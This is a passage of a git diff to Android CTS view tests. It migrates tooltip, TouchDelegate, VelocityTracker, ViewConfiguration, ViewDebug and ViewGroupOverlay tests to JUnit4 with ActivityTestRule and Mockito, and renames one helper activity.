+        assertTrue(hasTooltip(mTooltipView));
+
+        injectShortClick(mTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongKeyPressTooltipHidesOnClickElsewhere() throws Throwable {
+        injectLongEnter(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        injectShortClick(mNoTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testLongKeyPressTooltipHidesOnKey() throws Throwable {
+        injectLongEnter(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        injectArbitraryShortKeyPress();
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    // Tests for tooltips triggered by mouse hover.
+
+    @Test
+    public void testMouseClickDoesNotShowTooltip() throws Throwable {
+        injectMotionEvent(obtainMouseEvent(mTooltipView, MotionEvent.ACTION_DOWN, 0, 0));
+        injectMotionEvent(obtainMouseEvent(mTooltipView, MotionEvent.ACTION_BUTTON_PRESS, 0, 0));
+        injectMotionEvent(obtainMouseEvent(mTooltipView, MotionEvent.ACTION_BUTTON_RELEASE, 0, 0));
+        injectMotionEvent(obtainMouseEvent(mTooltipView, MotionEvent.ACTION_UP, 0, 0));
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverDoesNotShowTooltipImmediately() throws Throwable {
+        injectHoverMove(mTooltipView, 0, 0);
+        assertFalse(hasTooltip(mTooltipView));
+
+        injectHoverMove(mTooltipView, 1, 1);
+        assertFalse(hasTooltip(mTooltipView));
+
+        injectHoverMove(mTooltipView, 2, 2);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverExitCancelsPendingTooltip() throws Throwable {
+        injectHoverMove(mTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+
+        injectLongHoverMove(mNoTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipOnClickableView() throws Throwable {
+        setClickable(mTooltipView);
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipOnLongClickableView() throws Throwable {
+        setLongClickable(mTooltipView);
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipOnContextClickableView() throws Throwable {
+        setContextClickable(mTooltipView);
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipStaysOnMouseMove() throws Throwable {
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        // Tooltip stays while the mouse moves over the widget.
+        injectHoverMove(mTooltipView, 1, 1);
+        assertTrue(hasTooltip(mTooltipView));
+
+        injectHoverMove(mTooltipView, 2, 2);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipHidesOnExit() throws Throwable {
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        // Tooltip hides once the mouse moves out of the widget.
+        injectHoverMove(mNoTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipHidesOnClick() throws Throwable {
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        injectShortClick(mTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipHidesOnClickOnElsewhere() throws Throwable {
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        injectShortClick(mNoTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipHidesOnKey() throws Throwable {
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        injectArbitraryShortKeyPress();
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipHidesOnTimeout() throws Throwable {
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        waitOut(ViewConfiguration.getHoverTooltipHideTimeout());
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipHidesOnShortTimeout() throws Throwable {
+        requestLowProfileSystemUi();
+
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+
+        waitOut(ViewConfiguration.getHoverTooltipHideShortTimeout());
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipWithHoverListener() throws Throwable {
+        mTooltipView.setOnHoverListener((v, event) -> true);
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipUnsetWhileHovering() throws Throwable {
+        injectHoverMove(mTooltipView);
+        setTooltipText(mTooltipView, null);
+        waitOut(ViewConfiguration.getHoverTooltipShowTimeout());
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipDisableWhileHovering() throws Throwable {
+        injectHoverMove(mTooltipView);
+        mActivityRule.runOnUiThread(() -> mTooltipView.setEnabled(false));
+        waitOut(ViewConfiguration.getHoverTooltipShowTimeout());
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipFromParent() throws Throwable {
+        // Hover listeners should not interfere with tooltip dispatch.
+        mNoTooltipView.setOnHoverListener((v, event) -> true);
+        mTooltipView.setOnHoverListener((v, event) -> true);
+
+        setTooltipText(mTopmostView, "tooltip");
+
+        // Hover over a child with a tooltip works normally.
+        injectLongHoverMove(mTooltipView);
+        assertFalse(hasTooltip(mTopmostView));
+        assertTrue(hasTooltip(mTooltipView));
+        injectShortClick(mTopmostView);
+        assertFalse(hasTooltip(mTooltipView));
+
+        // Hover over a child with no tooltip triggers a tooltip on its parent.
+        injectLongHoverMove(mNoTooltipView2);
+        assertFalse(hasTooltip(mNoTooltipView2));
+        assertTrue(hasTooltip(mTopmostView));
+        injectShortClick(mTopmostView);
+        assertFalse(hasTooltip(mTopmostView));
+
+        // Same but the child is and empty view group.
+        injectLongHoverMove(mEmptyGroup);
+        assertFalse(hasTooltip(mEmptyGroup));
+        assertTrue(hasTooltip(mTopmostView));
+        injectShortClick(mTopmostView);
+        assertFalse(hasTooltip(mTopmostView));
+
+        // Hover over a grandchild with no tooltip triggers a tooltip on its grandparent.
+        injectLongHoverMove(mNoTooltipView);
+        assertFalse(hasTooltip(mNoTooltipView));
+        assertTrue(hasTooltip(mTopmostView));
+        // Move to another child one level up, the tooltip stays.
+        injectHoverMove(mNoTooltipView2);
+        assertTrue(hasTooltip(mTopmostView));
+        injectShortClick(mTopmostView);
+        assertFalse(hasTooltip(mTopmostView));
+
+        // Set a tooltip on the intermediate parent, now it is showing tooltips.
+        setTooltipText(mGroupView, "tooltip");
+        injectLongHoverMove(mNoTooltipView);
+        assertFalse(hasTooltip(mNoTooltipView));
+        assertFalse(hasTooltip(mTopmostView));
+        assertTrue(hasTooltip(mGroupView));
+
+        // Move out of this group, the tooltip is now back on the grandparent.
+        injectLongHoverMove(mNoTooltipView2);
+        assertFalse(hasTooltip(mGroupView));
+        assertTrue(hasTooltip(mTopmostView));
+        injectShortClick(mTopmostView);
+        assertFalse(hasTooltip(mTopmostView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipRemoveWhileWaiting() throws Throwable {
+        // Remove the view while hovering.
+        injectHoverMove(mTooltipView);
+        removeView(mTooltipView);
+        waitOut(ViewConfiguration.getHoverTooltipShowTimeout());
+        assertFalse(hasTooltip(mTooltipView));
+        addView(mGroupView, mTooltipView);
+
+        // Remove and re-add the view while hovering.
+        injectHoverMove(mTooltipView);
+        removeView(mTooltipView);
+        addView(mGroupView, mTooltipView);
+        waitOut(ViewConfiguration.getHoverTooltipShowTimeout());
+        assertFalse(hasTooltip(mTooltipView));
+
+        // Remove the view's parent while hovering.
+        injectHoverMove(mTooltipView);
+        removeView(mGroupView);
+        waitOut(ViewConfiguration.getHoverTooltipShowTimeout());
+        assertFalse(hasTooltip(mTooltipView));
+        addView(mTopmostView, mGroupView);
+
+        // Remove and re-add view's parent while hovering.
+        injectHoverMove(mTooltipView);
+        removeView(mGroupView);
+        addView(mTopmostView, mGroupView);
+        waitOut(ViewConfiguration.getHoverTooltipShowTimeout());
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverTooltipRemoveWhileShowing() throws Throwable {
+        // Remove the view while showing the tooltip.
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+        removeView(mTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+        addView(mGroupView, mTooltipView);
+        assertFalse(hasTooltip(mTooltipView));
+
+        // Remove the view's parent while showing the tooltip.
+        injectLongHoverMove(mTooltipView);
+        assertTrue(hasTooltip(mTooltipView));
+        removeView(mGroupView);
+        assertFalse(hasTooltip(mTooltipView));
+        addView(mTopmostView, mGroupView);
+        assertFalse(hasTooltip(mTooltipView));
+    }
+
+    @Test
+    public void testMouseHoverOverlap() throws Throwable {
+        final View parent = mActivity.findViewById(R.id.overlap_group);
+        final View child1 = mActivity.findViewById(R.id.overlap1);
+        final View child2 = mActivity.findViewById(R.id.overlap2);
+        final View child3 = mActivity.findViewById(R.id.overlap3);
+
+        injectLongHoverMove(parent);
+        assertTrue(hasTooltip(child3));
+
+        setVisibility(child3, View.GONE);
+        injectLongHoverMove(parent);
+        assertTrue(hasTooltip(child2));
+
+        setTooltipText(child2, null);
+        injectLongHoverMove(parent);
+        assertTrue(hasTooltip(child1));
+
+        setVisibility(child1, View.INVISIBLE);
+        injectLongHoverMove(parent);
+        assertTrue(hasTooltip(parent));
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/TouchDelegateTest.java b/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
index 47fe6c6..1fd3d8c 100644
--- a/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
+++ b/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
@@ -16,12 +16,18 @@
 
 package android.view.cts;
 
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.graphics.Rect;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.MotionEvent;
 import android.view.TouchDelegate;
 import android.view.View;
@@ -29,78 +35,46 @@
 import android.widget.Button;
 import android.widget.LinearLayout;
 
-public class TouchDelegateTest extends ActivityInstrumentationTestCase2<MockActivity> {
-    private static final int WRAP_CONTENT = ViewGroup.LayoutParams.WRAP_CONTENT;
-    private static final int ACTION_DOWN = MotionEvent.ACTION_DOWN;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    private Activity mActivity;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TouchDelegateTest {
     private Instrumentation mInstrumentation;
+    private Activity mActivity;
     private Button mButton;
-    private Rect mRect;
 
-    private int mXInside;
-    private int mYInside;
+    @Rule
+    public ActivityTestRule<MockActivity> mActivityRule =
+            new ActivityTestRule<>(MockActivity.class);
 
-    private Exception mException;
-
-    public TouchDelegateTest() {
-        super("android.view.cts", MockActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
+    @Before
+    public void setup() throws Throwable {
+        mActivity = mActivityRule.getActivity();
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
 
         mButton = new Button(mActivity);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                try {
-                    mActivity.addContentView(mButton, new LinearLayout.LayoutParams(WRAP_CONTENT,
-                                                                                    WRAP_CONTENT));
-                } catch (Exception e) {
-                    mException = e;
-                }
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mActivity.addContentView(
+                mButton, new LinearLayout.LayoutParams(
+                        ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT)));
         mInstrumentation.waitForIdleSync();
-
-        if(mException != null) {
-            throw mException;
-        }
-
-        int right = mButton.getRight();
-        int bottom = mButton.getBottom();
-        mXInside = (mButton.getLeft() + right) / 3;
-        mYInside = (mButton.getTop() + bottom) / 3;
-
-        mRect = new Rect();
-        mButton.getHitRect(mRect);
     }
 
     @UiThreadTest
+    @Test
     public void testOnTouchEvent() {
         // test callback of onTouchEvent
-        View view = new View(mActivity);
-        MockTouchDelegate touchDelegate = new MockTouchDelegate(mRect, mButton);
+        final View view = new View(mActivity);
+        final TouchDelegate touchDelegate = mock(TouchDelegate.class);
         view.setTouchDelegate(touchDelegate);
-        assertFalse(touchDelegate.mOnTouchEventCalled);
-        view.onTouchEvent(MotionEvent.obtain(0, 0, ACTION_DOWN, mXInside, mYInside, 0));
-        assertTrue(touchDelegate.mOnTouchEventCalled);
-    }
 
-    class MockTouchDelegate extends TouchDelegate {
-        private boolean mOnTouchEventCalled;
+        final int xInside = (mButton.getLeft() + mButton.getRight()) / 3;
+        final int yInside = (mButton.getTop() + mButton.getBottom()) / 3;
 
-        public MockTouchDelegate(Rect bounds, View delegateView) {
-            super(bounds, delegateView);
-        }
-
-        @Override
-        public boolean onTouchEvent(MotionEvent event) {
-            mOnTouchEventCalled = true;
-            return true;
-        }
+        view.onTouchEvent(MotionEvent.obtain(0, 0, MotionEvent.ACTION_DOWN, xInside, yInside, 0));
+        verify(touchDelegate, times(1)).onTouchEvent(any(MotionEvent.class));
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
index ed6b0c1..774aadb 100644
--- a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
+++ b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
@@ -16,15 +16,25 @@
 
 package android.view.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
 import android.view.MotionEvent;
 import android.view.VelocityTracker;
-import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link VelocityTracker}.
  */
-public class VelocityTrackerTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class VelocityTrackerTest {
     private static final String TAG = "VelocityTrackerTest";
 
     private static final float TOLERANCE_EXACT = 0.01f;
@@ -41,9 +51,8 @@
     private float mVx, mVy;
     private float mAx, mAy;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         mVelocityTracker = VelocityTracker.obtain();
         mTime = 1000;
         mLastTime = 0;
@@ -55,17 +64,18 @@
         mAy = 0;
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
+    @After
+    public void teardown() {
         mVelocityTracker.recycle();
     }
 
+    @Test
     public void testNoMovement() {
         move(100, 10);
         assertVelocity(TOLERANCE_EXACT, "Expect exact bound when no movement occurs.");
     }
 
+    @Test
     public void testLinearMovement() {
         mVx = 2.0f;
         mVy = -4.0f;
@@ -73,6 +83,7 @@
         assertVelocity(TOLERANCE_TIGHT, "Expect tight bound for linear motion.");
     }
 
+    @Test
     public void testAcceleratingMovement() {
         // A very good velocity tracking algorithm will produce a tight bound on
         // simple acceleration.  Certain alternate algorithms will fare less well but
@@ -85,6 +96,7 @@
         assertVelocity(TOLERANCE_WEAK, "Expect weak bound when there is acceleration.");
     }
 
+    @Test
     public void testDeceleratingMovement() {
         // A very good velocity tracking algorithm will produce a tight bound on
         // simple acceleration.  Certain alternate algorithms will fare less well but
@@ -97,6 +109,7 @@
         assertVelocity(TOLERANCE_WEAK, "Expect weak bound when there is deceleration.");
     }
 
+    @Test
     public void testLinearSharpDirectionChange() {
         // After a sharp change of direction we expect the velocity to eventually
         // converge but it might take a moment to get there.
@@ -112,6 +125,7 @@
         assertVelocity(TOLERANCE_TIGHT, "Expect tight bound after 200ms of new direction.");
     }
 
+    @Test
     public void testLinearSharpDirectionChangeAfterALongPause() {
         // Should be able to get a tighter bound if there is a pause before the
         // change of direction.
@@ -127,6 +141,7 @@
                 "Expect tight bound after a 100ms pause and 100ms of new direction.");
     }
 
+    @Test
     public void testChangingAcceleration() {
         // In real circumstances, the acceleration changes continuously throughout a
         // gesture.  Try to model this and see how the algorithm copes.
diff --git a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
index 5fe4aea..8e478a8 100644
--- a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
@@ -16,21 +16,23 @@
 
 package android.view.cts;
 
-import android.content.Context;
-import android.test.InstrumentationTestCase;
+import static org.junit.Assert.assertNotNull;
+
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.ViewConfiguration;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link ViewConfiguration}.
  */
-public class ViewConfigurationTest extends InstrumentationTestCase {
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    @SuppressWarnings("deprecation")
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ViewConfigurationTest {
+    @Test
     public void testStaticValues() {
         ViewConfiguration.getScrollBarSize();
         ViewConfiguration.getFadingEdgeLength();
@@ -55,14 +57,16 @@
         ViewConfiguration.getDefaultActionModeHideDuration();
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testConstructor() {
         new ViewConfiguration();
     }
 
+    @Test
     public void testInstanceValues() {
-        ViewConfiguration vc = ViewConfiguration.get(getInstrumentation().getTargetContext());
+        ViewConfiguration vc = ViewConfiguration.get(InstrumentationRegistry.getTargetContext());
         assertNotNull(vc);
+
         vc.getScaledDoubleTapSlop();
         vc.getScaledEdgeSlop();
         vc.getScaledFadingEdgeLength();
@@ -73,6 +77,7 @@
         vc.getScaledOverscrollDistance();
         vc.getScaledPagingTouchSlop();
         vc.getScaledScrollBarSize();
+        vc.getScaledScrollFactor();
         vc.getScaledTouchSlop();
         vc.getScaledWindowTouchSlop();
         vc.hasPermanentMenuKey();
diff --git a/tests/tests/view/src/android/view/cts/ViewDebugTest.java b/tests/tests/view/src/android/view/cts/ViewDebugTest.java
index f6c4043..8af8bd9 100644
--- a/tests/tests/view/src/android/view/cts/ViewDebugTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewDebugTest.java
@@ -17,20 +17,30 @@
 package android.view.cts;
 
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertFalse;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.ViewDebug;
 
-public class ViewDebugTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ViewDebugTest {
+    @Test
     public void testConstructor() {
         new ViewDebug();
     }
 
+    @Test
     public void testRecyclerTracing() {
         // debugging should be disabled on production devices
         assertFalse(ViewDebug.TRACE_RECYCLER);
     }
 
+    @Test
     public void testHierarchyTracing() {
         // debugging should be disabled on production devices
         assertFalse(ViewDebug.TRACE_HIERARCHY);
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupCtsActivity.java b/tests/tests/view/src/android/view/cts/ViewGroupCtsActivity.java
deleted file mode 100644
index de1db19..0000000
--- a/tests/tests/view/src/android/view/cts/ViewGroupCtsActivity.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.cts;
-
-import android.app.Activity;
-import android.cts.util.CTSResult;
-import android.os.Bundle;
-import android.os.Handler;
-import android.widget.TextView;
-
-public class ViewGroupCtsActivity extends Activity {
-
-    public static final String ACTION_INVALIDATE_CHILD = "invalidateChild";
-
-    private final Handler mHandler = new Handler();
-    private static CTSResult sResult;
-    public static void setResult(CTSResult result) {
-        sResult = result;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(android.view.cts.R.layout.viewgrouptest_stub);
-        TextView textView = (TextView)findViewById(android.view.cts.R.id.viewgrouptest_stub);
-        textView.setText("test");
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-
-        String action = getIntent().getAction();
-        if (action.equals(ACTION_INVALIDATE_CHILD)) {
-            mHandler.postDelayed(new Runnable() {
-                public void run() {
-                    MockLinearLayout mll =
-                        (MockLinearLayout) findViewById(android.view.cts.R.id.
-                                                                        mocklinearlayout);
-                    if (!mll.mIsInvalidateChildInParentCalled) {
-                        fail();
-                        return;
-                    }
-                    sResult.setResult(CTSResult.RESULT_OK);
-                    finish();
-                }
-            }, 2000);
-        }
-    }
-
-    private void fail() {
-        sResult.setResult(CTSResult.RESULT_FAIL);
-        finish();
-    }
-}
-
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupInvalidateChildCtsActivity.java b/tests/tests/view/src/android/view/cts/ViewGroupInvalidateChildCtsActivity.java
new file mode 100644
index 0000000..e4f2035
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/ViewGroupInvalidateChildCtsActivity.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.Handler;
+
+import com.android.compatibility.common.util.CTSResult;
+
+public class ViewGroupInvalidateChildCtsActivity extends Activity {
+    public static final String ACTION_INVALIDATE_CHILD = "invalidateChild";
+
+    private final Handler mHandler = new Handler();
+    private static CTSResult sResult;
+
+    public static void setResult(CTSResult result) {
+        sResult = result;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(android.view.cts.R.layout.viewgrouptest_stub);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        String action = getIntent().getAction();
+        if (action.equals(ACTION_INVALIDATE_CHILD)) {
+            mHandler.postDelayed(() -> {
+                MockLinearLayout mll =
+                        (MockLinearLayout) findViewById(R.id.mocklinearlayout);
+                if (!mll.mIsInvalidateChildInParentCalled) {
+                    fail();
+                    return;
+                }
+                sResult.setResult(CTSResult.RESULT_OK);
+                finish();
+            }, 2000);
+        }
+    }
+
+    private void fail() {
+        sResult.setResult(CTSResult.RESULT_FAIL);
+        finish();
+    }
+}
+
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupOverlayTest.java b/tests/tests/view/src/android/view/cts/ViewGroupOverlayTest.java
index 886cc81..f1b3ea5 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupOverlayTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupOverlayTest.java
@@ -16,78 +16,91 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+
+import android.app.Activity;
 import android.app.Instrumentation;
-import android.content.Context;
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
-import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Pair;
-import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.ViewGroupOverlay;
 import android.view.cts.util.DrawingUtils;
 
+import com.android.compatibility.common.util.CtsTouchUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.ArrayList;
 import java.util.List;
 
-import static org.mockito.Mockito.*;
-
-@SmallTest
-public class ViewGroupOverlayTest extends
-        ActivityInstrumentationTestCase2<ViewGroupOverlayCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ViewGroupOverlayTest {
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
     private ViewGroup mViewGroupWithOverlay;
     private ViewGroupOverlay mViewGroupOverlay;
-    private Context mContext;
 
-    public ViewGroupOverlayTest() {
-        super("android.view.cts", ViewGroupOverlayCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ViewGroupOverlayCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ViewGroupOverlayCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mViewGroupWithOverlay = (ViewGroup) getActivity().findViewById(R.id.viewgroup_with_overlay);
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mViewGroupWithOverlay = (ViewGroup) mActivity.findViewById(R.id.viewgroup_with_overlay);
         mViewGroupOverlay = mViewGroupWithOverlay.getOverlay();
-        mContext = getInstrumentation().getTargetContext();
     }
 
     @Presubmit
+    @Test
     public void testBasics() {
         DrawingUtils.assertAllPixelsOfColor("Default fill", mViewGroupWithOverlay,
                 Color.WHITE, null);
         assertNotNull("Overlay is not null", mViewGroupOverlay);
     }
 
-    public void testAddNullView() throws Throwable {
-        try {
-            runTestOnUiThread(() -> mViewGroupOverlay.add((View) null));
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
+    @UiThreadTest
+    @Test(expected=IllegalArgumentException.class)
+    public void testAddNullView() {
+        mViewGroupOverlay.add((View) null);
     }
 
-    public void testRemoveNullView() throws Throwable {
-        try {
-            runTestOnUiThread(() -> mViewGroupOverlay.remove((View) null));
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
+    @UiThreadTest
+    @Test(expected=IllegalArgumentException.class)
+    public void testRemoveNullView() {
+         mViewGroupOverlay.remove((View) null);
     }
 
-    public void testOverlayWithOneView() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testOverlayWithOneView() {
         // Add one colored view to the overlay
-        final View redView = new View(mContext);
+        final View redView = new View(mActivity);
         redView.setBackgroundColor(Color.RED);
         redView.layout(10, 20, 30, 40);
 
-        runTestOnUiThread(() -> mViewGroupOverlay.add(redView));
+        mViewGroupOverlay.add(redView);
 
         final List<Pair<Rect, Integer>> colorRectangles = new ArrayList<>();
         colorRectangles.add(new Pair<>(new Rect(10, 20, 30, 40), Color.RED));
@@ -95,29 +108,28 @@
                 mViewGroupWithOverlay, Color.WHITE, colorRectangles);
 
         // Now remove that view from the overlay and test that we're back to pure white fill
-        runTestOnUiThread(() -> mViewGroupOverlay.remove(redView));
+        mViewGroupOverlay.remove(redView);
         DrawingUtils.assertAllPixelsOfColor("Back to default fill", mViewGroupWithOverlay,
                 Color.WHITE, null);
     }
 
-    public void testOverlayWithNonOverlappingViews() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testOverlayWithNonOverlappingViews() {
         // Add three views to the overlay
-        final View redView = new View(mContext);
+        final View redView = new View(mActivity);
         redView.setBackgroundColor(Color.RED);
         redView.layout(10, 20, 30, 40);
-        final View greenView = new View(mContext);
+        final View greenView = new View(mActivity);
         greenView.setBackgroundColor(Color.GREEN);
         greenView.layout(60, 30, 90, 50);
-        final View blueView = new View(mContext);
+        final View blueView = new View(mActivity);
         blueView.setBackgroundColor(Color.BLUE);
         blueView.layout(40, 60, 80, 90);
 
-        runTestOnUiThread(
-                () -> {
-                    mViewGroupOverlay.add(redView);
-                    mViewGroupOverlay.add(greenView);
-                    mViewGroupOverlay.add(blueView);
-                });
+        mViewGroupOverlay.add(redView);
+        mViewGroupOverlay.add(greenView);
+        mViewGroupOverlay.add(blueView);
 
         final List<Pair<Rect, Integer>> colorRectangles = new ArrayList<>();
         colorRectangles.add(new Pair<>(new Rect(10, 20, 30, 40), Color.RED));
@@ -127,7 +139,7 @@
                 Color.WHITE, colorRectangles);
 
         // Remove one of the views from the overlay
